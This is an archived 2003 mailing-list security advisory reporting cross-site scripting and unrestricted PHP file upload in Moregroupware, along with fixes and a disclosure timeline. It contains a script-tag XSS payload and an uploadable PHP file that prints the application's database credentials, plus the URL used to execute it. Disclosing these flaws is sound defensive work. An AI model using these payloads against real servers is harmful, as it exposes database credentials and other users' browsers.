

[VulnWatch] [KSA-002] Multiple Vulnerabilities In Moregroupware

Source: <http://www.derkeiler.com/Mailing-Lists/VulnWatch/2003-06/0027.html>

From: François SORIN (francois.sorin_at_security-corporation.com)

Date: 06/26/03

To: <full-disclosure@lists.netsys.com>, <sec-adv@secunia.com>, <news@securiteam.com>, <articles@x

Date: Thu, 26 Jun 2003 18:38:10 +0200

PROGRAM: Moregroupware

HOME PAGE: <http://www.moregroupware.com/>

VULNERABLE VERSIONS: 0.6.7 and prior ?

RISK: Low/Medium

IMPACT: Cross Site Scripting

RELEASE DATE: 2003-06-26

TABLE OF CONTENTS

1.....	DESCRIPTION
2.....	DETAILS
3.....	EXPLOITS
4.....	SOLUTIONS
5.....	WORKAROUND
6.....	DISCLOSURE TIMELINE
7.....	CREDITS
8.....	DISCLAIMER
9.....	REFERENCES
10.....	FEEDBACK

1. DESCRIPTION

"Some of the features that are worth being mentioned:

- Contact/address management
- Webmail
- full-featured Calendar
- ToDo management
- News
- Project management
- Some preferences for each module
- Skins based on Cascading Style Sheets"

(direct quote from <http://www.moregroupware.com>)

2. DETAILS

=====

– Cross Site Scripting :

Many exploitable bugs was found in Moregroupware which cause script execution on client's computer.

This kind of attack known as "Cross-Site Scripting Vulnerability" is present in many section of the web site, an attacker can input specially crafted links and/or other malicious scripts.

– Upload files :

When you upload a file on the server you can upload some html files or php files. You can grab or change some informations with this possibility.

3. EXPLOIT

=====

– Cross Site Scripting (many pages are infected) :

[http://\[target\]/moregroupware/modules/contact/index.php?](http://[target]/moregroupware/modules/contact/index.php?)

You can add a contact and put `<script>alert();</script>`, `alert();` can be replaced by a malicious script.

A dialog box is opened on the client browser.

Impact is relatively low, as this is a closed group application. People having access should be 'trustable'.

– Upload files :

You can upload a file like file.php:

```
<?php
```

```
include('../.././config.inc.php');
```

```
echo $appconf['dbvendor'];
```

```
echo $appconf['dbhost'];
```

```
echo $appconf['dbuser'];
```

```
echo $appconf['dbpassword'];
```

```
echo $appconf['dbname'];
```

```
?>
```

And access it directly :

[http://\[target\]/moregroupware/modules/files/store/file.php](http://[target]/moregroupware/modules/files/store/file.php)

VulnWatch: [VulnWatch] [KSA-002] Multiple Vulnerabilities In Moregroupware

This file is executed on the server and the information is divulged to the hacker.

4. SOLUTIONS

– Cross Site Scripting :
Use the function php eregi_replace to filter the input data.

5. WORKAROUND

– Upload files :
Secure this module by replacing file extension or specify to the web server not to execute this files. A better way for this problem is to set permissions on the store/ directory so that only the webserver can read the files. A simple fix that actually works.

6. DISCLOSURE TIMELINE

06/20/2003 Vendor notified
06/24/2003 Response from the vendor and corrections added
06/25/2003 Security Corporation clients notified
06/26/2003 Public disclosure

7. CREDITS

Discovered by François SORIN <francois.sorin@security-corporation.com>

8. DISCLAIMER

The information within this paper may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties with regard to this information. In no event shall the author be liable for any damages whatsoever arising out of or in connection with the use or spread of this information. Any use of this information is at the user's own risk.

9. REFERENCES

– <http://www.security-corporation.com/articles-20030626-003.html>

10. FEEDBACK

Please send suggestions, updates, and comments to:

VulnWatch: [VulnWatch] [KSA-002] Multiple Vulnerabilities In Moregroupware

Kereval
Immeuble Le Gallium
80, avenue des Buttes de Coesmes
35700 RENNES – FRANCE
info@kereval.com